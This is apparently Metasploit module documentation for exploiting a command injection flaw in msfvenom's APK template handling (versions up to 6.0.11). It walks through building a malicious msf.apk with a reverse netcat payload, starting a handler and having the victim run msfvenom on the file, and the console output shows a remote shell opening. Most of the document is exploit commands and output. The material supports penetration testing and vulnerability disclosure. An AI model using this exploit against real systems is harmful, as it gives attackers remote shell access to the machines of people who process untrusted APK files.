## Vulnerable Application

Metasploit Framework's `msfvenom` is vulnerable to a command injection
vulnerability when the user provides a crafted APK file to use as an Android
payload template. A "template" file in this context is an existing APK file,
within which an Android payload will be embedded.

The vulnerability affects Metasploit Framework <= 6.0.11 and Metasploit Pro <=
4.18.0

A copy of the vulnerable software can be obtained by:

* Using an old installer (e.g. <https://github.com/rapid7/metasploit-framework/releases/tag/6.0.11>); or
* Setting up a dev environment (see <http://r-7.co/MSF-DEV>) and doing `git checkout 6.0.11`

Note that the vulnerable code depends upon the `apktool`, `zipalign` and
`jarsigner` tools. That is, regardless of the vulnerability, `msfvenom` needs
these binaries on the PATH for it to even support APK templates.

Attempting to use `msfvenom` without these dependencies being installed:

```
% msfvenom -p android/meterpreter/reverse_tcp -x /dev/null -o /dev/null
Using APK template: /dev/null
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: apktool not found. If it's not in your PATH, please add it.
```

These dependencies are available in Debian's standard repos with `jarsigner`
being provided by `openjdk`.

```
% sudo apt update && sudo apt install apktool zipalign default-jdk-headless
<... SNIP ...>

% msfvenom -p android/meterpreter/reverse_tcp -x /dev/null -o /dev/null
Using APK template: /dev/null
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: undefined method `[]' for nil:NilClass
```

The environment is now ready.

## Verification Steps

1. Install the vulnerable application
2. Start `msfconsole`
3. Do: `use unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection`
4. Set the payload and payload options as appropriate
5. Do: `exploit`
6. Start a handler
7. Transfer the generated `msf.apk` file to the machine running the vulnerable application
8. On the victim machine, do `msfvenom -p android/meterpreter/reverse_tcp -x msf.apk`
9. You should get a shell

Note: Due to the nature of the vulnerability, `bash` payloads are unlikely to
work. If you attempt to use them you will get a warning message when doing
`exploit`.

```
msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit

[!] Warning: bash payloads are unlikely to work
[+] msf.apk stored at /home/justin/.msf4/local/msf.apk
```

## Options

* `FILENAME` - the name of the APK file to produce. Note that it is safe to rename a file after it has been generated.

## Scenarios

### Metasploit Framework v6.0.11

Generate the APK file

```
msf > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 172.18.0.3
LHOST => 172.18.0.3
msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 4444
LPORT => 4444
msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit

[+] msf.apk stored at /home/justin/.msf4/local/msf.apk
```

Start a handler

```
msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set LHOST 172.18.0.3
LHOST => 172.18.0.3
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.18.0.3:4444
```

As the victim, use `msfvenom` to generate an Android payload using the
generated file as a template

```
% ./msfvenom -p android/meterpreter/reverse_tcp -x /home/justin/.msf4/local/msf.apk -o /dev/null
Using APK template: /home/justin/.msf4/local/msf.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
Error: No such file or directory @ rb_sysopen - /tmp/d20201025-4916-ewjqfp/original/AndroidManifest.xml
```

A shell session will be opened

```
[*] Command shell session 1 opened (172.18.0.3:4444 -> 172.18.0.3:56220) at 2020-10-25 22:13:43 +1100

id
uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)
```
